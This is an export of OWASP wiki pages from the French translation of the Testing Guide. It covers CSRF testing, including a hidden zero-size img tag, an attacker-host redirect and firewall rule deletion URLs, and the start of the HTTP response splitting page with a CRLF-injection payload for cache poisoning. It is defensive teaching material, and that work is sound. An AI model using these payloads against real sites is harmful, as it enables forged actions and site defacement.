4) La présence de balises HTML donnant un accès direct à des ressources HTTP(S) ; par exemple des balises image ''img''.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les points 1, 2 et 3 sont requis pour la présence de la vulnérabilité, alors que le point 4 facilite l'exploitation réelle, mais n'est pas indispensable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Point 1) Les navigateurs envoient l'information utilisée pour identifier une session utilisateur. Supposons que ''site'' héberge une application web, et que l'utilisateur ''victime'' s'est authentifié sur ''site''. En réponse, ''site'' envoie à ''victime'' un cookie qui identifie les requêtes de ''victime'' comme appartenant à sa session authentifiée. En gros, une fois que le navigateur a reçu le cookie créé par ''site'', il joindra ce cookie à toutes les requêtes suivantes destinées à ''site''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Point 2) Si l'application n'utilise pas d'informations de session intégrées dans les URLs, cela signifie que les URLs de l'application, leurs paramètres, et valeurs légitimes peuvent être identifiées (par analyse de code, ou en accédant à l'application et aux formulaires et URLs embarqués dans HTML/JavaScript).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Point 3) Les informations connues par le navigateur comprennent les cookies, les informations d'authentification HTTP (telles que l'Authentification Basique ; et pas les authentifications basées sur des formulaires), qui sont stockées par le navigateur et renvoyées automatiquement à chaque requête ultérieure à la partie de l'application nécessitant cette authentification. Les vulnérabilités présentées plus bas concernent les applications qui reposent entièrement sur ce genre d'informations pour identifier une session utilisateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Prenons un cas simple : des URLs accessibles en GET (bien que cela puisse s'appliquer aussi bien à des requêtes POST). Si l'utilisateur ''victime'' est déjà authentifié, son cookie sera automatiquement joint à une autre requête (cf. l'image suivante, où l'utilisateur accède à l'application www.example.com).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:session_riding.GIF]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La requête GET peut être générée de différentes manières :&lt;br /&gt;
&lt;br /&gt;
* Par l'utilisateur, qui est en train d'utiliser l'application web ;&lt;br /&gt;
* Par l'utilisateur qui saisit directement l'URL dans le navigateur ;&lt;br /&gt;
* Par l'utilisateur, qui suit un lien (externe à l'application) pointant sur l'URL.&lt;br /&gt;
&lt;br /&gt;
Ces requêtes sont indifférenciables par l'application. La troisième en particulier peut être très dangereuse. Il y a de nombreuses techniques (et vulnérabilités) qui peuvent masquer les propriétés réelles d'un lien. Le lien peut être inséré dans un courriel, ou sur un site malicieux vers lequel l'utilisateur est envoyé, par exemple un lien intégré dans un contenu hébergé ailleurs (un autre site web, un courriel en HTML, etc.) et pointant vers une ressource de l'application. Si l'utilisateur clique sur le lien, comme il était déjà authentifié sur l'application web ''site'', le navigateur envoie une requête GET vers l'application, accompagnée de l'information d'authentification (le cookie identifiant de session). Cela exécute donc une opération valide sur l'application, ce qui n'était probablement pas ce que l'utilisateur pensait faire. Pour imaginer les conséquences, il faut penser à un lien malicieux déclenchant un transfert sur une application bancaire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En utilisant des balises tels que ''img'', comme indiqué dans le point 4 plus haut, il n'est même pas nécessaire que l'utilisateur clique sur un lien particulier. Supposons que l'attaquant envoie un courriel à l'utilisateur, l'incitant à visiter une URL renvoyant sur une page contenant le code HTML (très simplifié) suivant :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=”https://www.company.example/action” width=”0” height=”0”&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Quand il va afficher cette page, le navigateur va essayer d'afficher l'image spécifiée, de taille nulle (donc invisible). Cela génère une requête automatique vers l'application web hébergée sur ''site''. Le fait que l'URL de l'image ne pointe pas vers une véritable image n'a aucune importance, de toute façon, sa présence déclenche la requête indiquée dans le champs ''src''. Cela fonctionne à condition que le téléchargement automatique des images ne soit pas désactivé dans le navigateur, mais c'est habituellement le cas puisque désactiver les images rendrait la plupart des applications web inutilisables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le problème, ici, est la conséquence des faits suivants :&lt;br /&gt;
&lt;br /&gt;
* Il y a des balises HTML dont la présence dans une page provoque des requêtes HTTP automatiques (''img'' par exemple) ;&lt;br /&gt;
* Le navigateur n'a aucun moyen de détecter que la ressource référencée par ''img'' n'est en réalité pas une image et est illégitime ;&lt;br /&gt;
* le chargement d'images est effectif quelque soit la localisation de la prétendue image, c'est-à-dire que le formulaire et l'image elle-même n'ont pas besoin d'être localisés sur le même serveur, ni même dans le même domaine. Bien que ce soit une fonctionnalité pratique, cela rend difficile le cloisonnement les applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un tel type d'attaque est rendu possible par le fait qu'un contenu HTML externe à l'application puisse référencer des composants de l'application, et que le navigateur construise automatiquement des requêtes valides vers l'application. Comme aucun standard n'est défini actuellement, il n'y a aucun moyen d'interdire ce comportement sauf à rendre impossible à l'attaquant de référencer des URLs valides vers l'application. Cela signifie que les URLs doivent contenir des informations en rapport avec la session utilisateur, qui ne sont pas supposées être connues de l'attaquant, et ainsi rendre impossible l'identification de telles URLs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le problème peut être encore plus grave, puisque l'intégration d'environnement courriel/navigateur affichant simplement un message électronique contenant des images pourrait appeler l'application web avec le cookie associé au navigateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut encore mieux camoufler l'attaque, en référençant des URLs d'images d'apparence valide :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;img src=”https://[attacker]/picture.gif” width=”0” height=”0”&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici [attacker] est un site contrôlé par l'attaquant, et en utilisant un mécanisme de redirection&lt;br /&gt;
 de http://[attacker]/picture.gif vers http://[thirdparty]/action.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les cookies ne sont pas le seul exemple impliqué dans ce type de vulnérabilités. Les applications web dont les informations de session sont gérées uniquement par le navigateur sont aussi vulnérables. Cela inclut les applications reposant uniquement sur le mécanisme d'authentification HTTP, puisque l'information d'authentification est connue du navigateur et est envoyée automatiquement avec chaque requête. Cela ne concerne PAS l'authentification basée sur formulaire, qui n'intervient qu'une fois et génère une forme quelconque d'information de session (si une telle information est exprimée uniquement à l'aide d'un cookie, l'on peut bien sûr retomber dans les cas précédents).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemple de scenario.'''&lt;br /&gt;
&lt;br /&gt;
Supposons que la victime soit connectée sur une application web de configuration de pare-feu. Pour se connecter, un utilisateur doit s'authentifier et les informations de session sont stockées dans un cookie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Supposons que l'application web de configuration de pare-feu ait une fonction qui permet à un utilisateur authentifié de supprimer une règle désignée par son numéro d'ordre, ou de supprimer toutes les règles de la configuration si l'utilisateur entre '*' (fonctionnalité très dangereuse, mais elle rend l'exemple plus intéressant). La page de suppression est présentée ci-dessous. Supposons que le formulaire, pour la simplicité de l'exemple, utilise la méthode GET :&lt;br /&gt;
&lt;br /&gt;
 https://[target]/fwmgt/delete?rule=1&lt;br /&gt;
&lt;br /&gt;
(pour supprimer le règle numéro 1)&lt;br /&gt;
&lt;br /&gt;
 https://[target]/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
(pour supprimer toutes les règles).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'exemple est volontairement simpliste, mais démontre de manière simple les dangers des CSRF.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[image:Session Riding Firewall Management.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ainsi, si on entre la valeur '*' et que l'on presse le bouton Supprimer, la requête suivante est envoyée.&lt;br /&gt;
&lt;br /&gt;
 https://www.company.example/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
avec pour effet de supprimer toutes les règles du pare-feu (et de se retrouver dans une situation potentiellement inopportune).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[image:Session Riding Firewall Management 2.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce n'est pas le seul scénario possible. L'utilisateur aurait pu obtenir les mêmes résultats en construisant l'URL manuellement :&lt;br /&gt;
&lt;br /&gt;
 https://[target]/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ou en cliquant sur un lien pointant, directement ou via une redirection, vers l'URL ci-dessus ; ou encore en accédant à une page HTML contenant une balise ''img'' pointant sur la même URL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans tous ces cas, si l'utilisateur est effectivement connecté sur l'application de configuration de pare-feu, la requête va réussir à modifier la configuration du pare-feu. On peut imaginer des attaques ciblant des applications sensibles et soumettant des enchères automatiques, procédant à des transferts d'argent, passant des commandes, changeant la configuration de composants logiciels critiques, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un aspect intéressant est que ces vulnérabilités peuvent être exploitées derrière un pare-feu ; c'est-à-dire qu'il suffit que le lien attaqué soit accessible par la victime (et non directement par l'attaquant). Cela peut être en particulier n'importe quel server web Intranet ; par exemple, le serveur de configuration de pare-feu mentionné plus haut, qui a peu de chances d'être exposé à Internet. Imaginez une attaque CSRF visant une application de surveillance d'une centrale nucléaire. C'est improbable, mais c'est une possibilité.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Des applications intrinsèquement vulnérables, pouvant être utilisées à la fois comme vecteur d'attaque et comme cible (comme des applications webmail), rendent la situation encore plus grave. Si une telle application est vulnérable, l'utilisateur est évidemment connecté lorsqu'il lit un message contenant une attaque CSRF, qui peut viser l'application webmail et la forcer à faire des actions comme supprimer des messages, envoyer des messages de la part de l'utilisateur, etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
&lt;br /&gt;
===Test en boite noire===&lt;br /&gt;
&lt;br /&gt;
En boite noire, le testeur doit connaître les URLs de l'espace restreint (authentifié). S'il possède des accès valides, il peut assumer les deux rôles - attaquant et victime. Dans ce cas, le testeur découvre les URLs en naviguant simplement sur l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Au contraire, si le testeur n'a pas d'accès valides, il doit organiser une attaque réelle, et inciter un utilisateur légitime, authentifié, à ouvrir un lien approprié. Cela peut nécessiter un certain niveau d'ingénierie sociale.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans tous les cas, un test peut être conçu comme suit :&lt;br /&gt;
&lt;br /&gt;
* soit ''u'' l'URL à tester ; par exemple u = http://www.example.com/action ;&lt;br /&gt;
* construire une page contenant la requête HTTP reférençant l'URL u (précisant tous les paramètres nécessaires ; c'est trivial dans le cas d'une requête HTTP GET, alors qu'une requête POST nécessitera un peu de JavaScript) ;&lt;br /&gt;
* s'assurer que l'utilisateur légitime est bien connecté à l'application ;&lt;br /&gt;
* l'inciter à ouvrir le lien pointant sur l'URL à tester (par ingénierie sociale, si le testeur ne peut pas se faire passer lui-même pour l'utilisateur) ;&lt;br /&gt;
* observer le résultat, c'est-à-dire vérifier si le serveur web a exécuté la requête.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Test en boite grise===&lt;br /&gt;
&lt;br /&gt;
Auditer l'application pour vérifier si son système de gestion de session est vulnérable. Si la gestion de session repose seulement sur des valeurs côté client (informations disponibles pour le navigateur), alors l'application est vulnérable. &amp;quot;Valeurs côté client&amp;quot; signifie cookies et informations d'authentification HTTP (Authentication Basique et autres formes d'authentification HTTP ; pas l'authentification basée sur formulaire, qui est une authentification au niveau applicatif). Pour qu'une application ne soit pas vulnérable, elle doit contenir des informations de session dans ses URLs, sous une forme non-identifiable et non-prévisible par l'utilisateur ([3] utilise le terme ''secret'' pour désigner ces informations).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les ressources accessibles par requêtes HTTP GET sont facilement vulnérables, et comme les requêtes POST puissent être automatisées en JavaScript et soient aussi vulnérables ; l'utilisation de POST uniquement ne suffit pas à éviter les vulnérabilités CSRF.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* WebScarab Spider http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project&lt;br /&gt;
* CSRF Tester http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project&lt;br /&gt;
* Cross Site Requester http://yehg.net/lab/pr0js/pentest/cross_site_request_forgery.php (via img)&lt;br /&gt;
* Cross Frame Loader http://yehg.net/lab/pr0js/pentest/cross_site_framing.php (via iframe)&lt;br /&gt;
* Pinata-csrf-tool http://code.google.com/p/pinata-csrf-tool/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Références==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Peter W: &amp;quot;Cross-Site Request Forgeries&amp;quot; - http://www.tux.org/~peterw/csrf.txt&lt;br /&gt;
* Thomas Schreiber: &amp;quot;Session Riding&amp;quot; - http://www.securenet.de/papers/Session_Riding.pdf&lt;br /&gt;
* Oldest known post - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan&lt;br /&gt;
* Cross-site Request Forgery FAQ - http://www.cgisecurity.com/articles/csrf-faq.shtml &lt;br /&gt;
* A Most-Neglected Fact About Cross Site Request Forgery (CSRF) - [http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf]&lt;br /&gt;
&lt;br /&gt;
==Contre-mesures==&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, des contre-mesures pour les utilisateurs et les développeurs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Utilisateurs&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Comme les attaques CSRF sont répandues, il est recommandé de suivre de bonnes pratiques pour minimiser les risques. Actions possibles :&lt;br /&gt;
&lt;br /&gt;
* Se déconnecter immédiatement après utilisation d'une application&lt;br /&gt;
* Ne pas autoriser le navigateur à stocker des noms d'utilisateurs et des mots de passe, et ne pas autoriser les sites à &amp;quot;se souvenir&amp;quot; des identifiants de connexion.&lt;br /&gt;
* Ne pas utiliser le même navigateur pour accéder des applications sensibles et pour naviguer librement sur Internet ; s'il est nécessaire de faire les deux sur la même machine, utiliser des navigateurs séparés.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'intégration de clients de messagerie et de lecteurs de newsgroups avec les navigateurs introduit des risques supplémentaires, puisque le simple affichage d'un message peut entraîner l'exécution d'une attaque.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Développeurs&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut ajouter des informations de session dans les URLs. L'attaque est rendue possible parce que la session est uniquement identifiée par le cookie, qui est automatiquement envoyé par le navigateur. Générer d'autres informations spécifiques à la session au niveau de l'URL rend difficile pour l'attaquant la connaissance de la structure des URLs à attaquer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il y existe d'autres contre-mesures qui, bien qu'elles ne résolvent pas le problème, contribuent à le rendre plus difficile à exploiter :&lt;br /&gt;
&lt;br /&gt;
* Utiliser POST au lieu de GET. Bien que les requêtes POST puissent être simulées au moyen de JavaScript, elles rendent les attaques plus difficiles à concevoir.&lt;br /&gt;
* Il en est de même avec les pages de confirmation intermédiaires (telles que : &amp;quot;Etes-vous sûr de vouloir faire cela ?&amp;quot;). Elles peuvent être contournées par l'attaquant, bien qu'elles rendent son travail un peu plus complexe. Il ne faut donc pas compter seulement sur ces mesures pour protéger l'application.&lt;br /&gt;
* Les mécanismes de déconnexion automatique peuvent un peu limiter l'exposition à ces vulnérabilités, bien qu'au final cela dépende du contexte (un utilisateur qui travaille toute la journée sur une application web bancaire sera évidemment plus à risque qu'un utilisateur occasionnel de la même application).&lt;br /&gt;
&lt;br /&gt;
==Autres activités de sécurité==&lt;br /&gt;
&lt;br /&gt;
===Description des vulnérabilités CSRF===&lt;br /&gt;
&lt;br /&gt;
Voir l'article de l'OWASP sur les vulnérabilités [[CSRF]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Comment éviter les vulnérabilités CSRF===&lt;br /&gt;
&lt;br /&gt;
Voir l'article [[:Category:OWASP Guide Project|OWASP Development Guide]] sur [[Guide to CSRF |Eviter les CSRF]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Comment faire des revues de code pour les CSRF===&lt;br /&gt;
&lt;br /&gt;
Voir l'article [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] sur [[Reviewing code for Cross-Site Request Forgery issues |Revue de code pour les CSRF]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Comment prévenir les vulnérabilités CSRF===&lt;br /&gt;
&lt;br /&gt;
Voir l'article [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] sur les mesures de prévention.&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187966</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187966"/>
				<updated>2015-01-13T13:54:58Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.10 Tester les injections XPath (OTG-INPVAL-010)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.11 Injections IMAP SMTP (OTG-INPVAL-011)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12 Tester les injections de code (OTG-INPVAL-012)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.1 Tester l'inclusion de fichiers locaux]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.12.2 Tester l'inclusion de fichiers distants]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.13 Tester les injections de commandes (OTG-INPVAL-013)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14 Tester les débordements de tampons (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.1 Tester les débordements de tas]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.2 Tester les débordements de pile]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.14.3 Tester les format string]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.15 Tester les incubated vulnerabilities (OTG-INPVAL-015)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.16 Tester l'HTTP Splitting Smuggling (OTG-INPVAL-016)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.16_Tester_l%27HTTP_Splitting_Smuggling_(OTG-INPVAL-016)&amp;diff=187964</id>
		<title>4.8.16 Tester l'HTTP Splitting Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.16_Tester_l%27HTTP_Splitting_Smuggling_(OTG-INPVAL-016)&amp;diff=187964"/>
				<updated>2015-01-13T11:13:19Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire == Cette section illustre des exemples d'attaques utilisant des fonctionnalités spécifiques du protocol HTTP, soit en exploi...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Cette section illustre des exemples d'attaques utilisant des fonctionnalités spécifiques du protocol HTTP, soit en exploitant des faiblesses de l'application web, soit en exploitant des particularités dans la façon dont les différents agents interprêtent les messages HTTP.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette section va analyser deux attaques différentes qui cibles des entêtes HTTP specifiques :&lt;br /&gt;
*HTTP splitting&lt;br /&gt;
*HTTP smuggling. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La première attaque exploite un manque de validation des entrées qui permet à un intrus d'insérer des caractères CR et LF dans les entêtes des réponses de l'application et donc de 'splitter' cette réponse en deux message HTTP différents. Le but de cette attaque peut varier du cache poisoning au cross site scripting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la seconde attaque, l'attaquant exploite le fait que certains messages HTTP spécialement construits peuvent être analysés et interprêtés de différentes manières selon l'agent qui les reçoit. L'HTTP smuggling requiert une certaine connaissance des différents agents traitant les messages HTTP (serveur web, proxy, pare-feu), et ne sera donc dcrite que dans la section boite grise.&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
====HTTP Splitting====&lt;br /&gt;
Certaine applications web utilisent une partie des entrées utilisateur pour générer les valeurs de certaines entête de leurs réponses. L'exemple le plus simple sont les redirections dans lesquelles l'URL cible dépend de valeurs fournies par les utilisateurs. Par exemple, le cas d'un utilisateur choisissant une interface web standard ou avancée. Le choix sera passé comme paramètre qui sera utilisé dans l'entête de la réponse pour déclencher une redirection vers la page correspondante.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plusspécifiquement, si le paramètre 'interface' a la valeur 'advanced', l'application répondra :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En recevant ce message, le navigateur renvoie l'utilisateur vers la page indiquée dans l'entête Location. Cependant, si l'application ne filtre pas les entrées utilisateurs, il sera possible d'insérer dans le paramètre 'interface' une séquence %0d%0a, qui représente la séquence CRLF utilisée pour séparer différentes lignes. A ce moment, les testeurs vont pouvoir déclencher une réponse qui sera interprêtée comme deux réponses par quiconque l'analysera, par exemple un cache web, situé entre nous et l'application. Cela peut être utilisé par un attaquant pour empoisonner ce cache afin qu'il fournisse un contenu faalsifié à toute les requêtes suivantes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Supposons que dans l'exemple précédent le testeur passe les données suivantes comme paramètre 'interface' :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La réponse resultantes de l'application vulnérable sera la suivante :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le cache web verra deux réponses différentes, donc si l'attaquant envoie, immédiatement après la première requête, une seconde requpete demandant /index.html, le cache fera correspondre cette requête avec la seconde réponse et stockera son contenu, donc toutes les requêtes suivantes dirigées vers victim.com/index.html passant par ce cache web recevront le message &amp;quot;system down&amp;quot;. De cette manière, un attaquant pourra effectivement defacer le site pour tous les utilisateurs utilisant ce cache web (tout Internet; si ce cache est un reverse proxy pour l'application web).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Alternativement, l'attaquant peut passer à tous ces utilisateurs un morceau de code JavaScript menant une attaque XSS, par exemple pour voler les cookies. Remarquons que bien que la vulnérabilité soit dans l'application, ce sont les utilisateurs qui sont ciblés. Donc pour chercher cette vulnérabilité, le testeur doit identifier toutes les entrées contrôlées par l'utilisateur qui influencent une ou plusieurs entêtes de la réponse, et vérifier qu'il peut injecter une séquence CR+LF dedans. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les entêtes les plus évidents pour cette attaque sont :&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut remarquer qu'une exploitation réussie de cette vulnérabilité dans un scénario réel peut être très complexe, car plusieurs facteur doivent être pris en compte :&lt;br /&gt;
&lt;br /&gt;
# Le testeur doit modifier correctement les entêtes dans la fausse réponse pour qu'elle soit mise en cache correctement (Ex : une entête Last-Modified avec une date dans le futur). Il peut aussi avoir à détruire les versions de la page cible précédemment mises en cache, en envoyant au préalable des requêtes avec &amp;quot;Pragma: no-cache&amp;quot;.&lt;br /&gt;
# L'application, bien qu'elle ne filtre pas les séquences CR+LF, peut filtrer d'autres caractères nécessaire à une attaque réussie (par exemple &amp;quot;&amp;lt;&amp;quot; et &amp;quot;&amp;gt;&amp;quot;). Dans ce cas, le testeur peut essayer d'autres encodages (ex : UTF-7).&lt;br /&gt;
